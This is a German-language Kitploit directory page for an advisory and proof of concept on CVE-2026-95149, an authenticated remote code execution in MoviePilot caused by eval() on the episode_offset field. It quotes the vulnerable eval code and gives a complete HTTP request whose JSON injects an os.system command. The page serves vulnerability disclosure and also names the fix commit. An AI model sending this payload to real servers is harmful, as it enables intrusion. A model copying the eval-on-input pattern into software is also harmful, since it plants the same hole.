Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-95149 — Proof-of-Concept und Ursachenanalyse für CVE-2026-95149, eine authentifizierte RCE in MoviePilots FormatParser über eval()-Injection in episode_offset, mit HTTP-PoC und Details zur Behebung. | Kitploit
Tools/GitHubGitHub/reputati0n/cve-2026-95149
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-Exploitation
GitHubreputati0n/cve-2026-95149

CVE-2026-95149

Proof-of-Concept und Ursachenanalyse für CVE-2026-95149, eine authentifizierte RCE in MoviePilots FormatParser über eval()-Injection in episode_offset, mit HTTP-PoC und Details zur Behebung.

Repository anzeigen
vor 26 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-95149 — Authentifizierte RCE durch eval()-Injection in episode_offset (MoviePilot FormatParser)

FeldWert
CVE-IDCVE-2026-95149
ProduktMoviePilot (jxxghp/MoviePilot)
Betroffene Versionen<= v3.0.0
Behoben inv3-Branch — Commit 65b9c777de9194e40ba29dc17345afc5b4b4b0ba
SchweregradHoch
AngriffsvektorRemote, über die HTTP-API
Erforderliche BerechtigungenAuthentifizierter Verwaltungsbenutzer (Admin- oder Konto mit Verwaltungsrolle)
BenutzerinteraktionKeine
Gemeldet2026-09-11
Öffentliches Issuejxxghp/MoviePilot#6644

Ursache

FormatParser akzeptiert eine beliebige Zeichenkette und verzweigt nur danach, ob sie "EP" enthält — es wird nie validiert, ob der Rest der Zeichenkette ein wohlgeformter arithmetischer Ausdruck ist:

elif "EP" in offset:
    self.__offset = offset

Mehrere nachgelagerte Zweige bauen anschließend durch textuelle Substitution einen Python-Ausdruck und werten ihn direkt aus:

start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part

Der int(...)-Wrapper beschränkt nur den Rückgabewert des Ausdrucks; er verhindert keine Seiteneffekte, die während der Auswertung auftreten. Jeder Funktionsaufruf, Import oder Attributzugriff, der in der Payload eingebettet ist, wird daher ausgeführt, bevor der endgültige Wert in int umgewandelt wird.

Warum die naheliegende Gegenmaßnahme nicht hilft

Ein häufiger Gegenmaßnahmenversuch besteht darin, die Payload mit null zu multiplizieren, damit das arithmetische Ergebnis numerisch bleibt:

EP+__import__('os').system('touch /tmp/success')*0

Dies funktioniert weiterhin. Der Seiteneffekt (das Starten des Befehls) tritt während der Auswertung auf, lange bevor die abschließende Addition in int umgewandelt wird, sodass der Angreifer sowohl Befehlsausführung als auch einen Wert erhält, der die int()-Typüberprüfung besteht.

POC

POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br

{
  "fileitem": {
    "storage": "local",
    "path": "/configured/media/file.mkv",
    "type": "file",
    "name": "file.mkv"
  },
  "episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}

Auf einer verwundbaren Instanz wird /tmp/success durch den MoviePilot-Dienstprozess erstellt. Wenn der API-Aufruf nicht 200 zurückgibt, löst die int()-Umwandlung eine Ausnahme aus — aber der injizierte Befehl wurde bereits ausgeführt, sodass das Ergebnis der Anfrage für den Exploit irrelevant ist.

Referenzen

  • Upstream-Issue: https://github.com/jxxghp/MoviePilot/issues/6644
  • Fix-Commit: https://github.com/jxxghp/MoviePilot/commit/65b9c777de9194e40ba29dc17345afc5b4b4b0ba
  • Verwundbarer Codepfad: app/application/formatting.py (Zeilen 102 und 184 in v3.0.0)
  • Erreichbar über: app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302
Tool herunterladen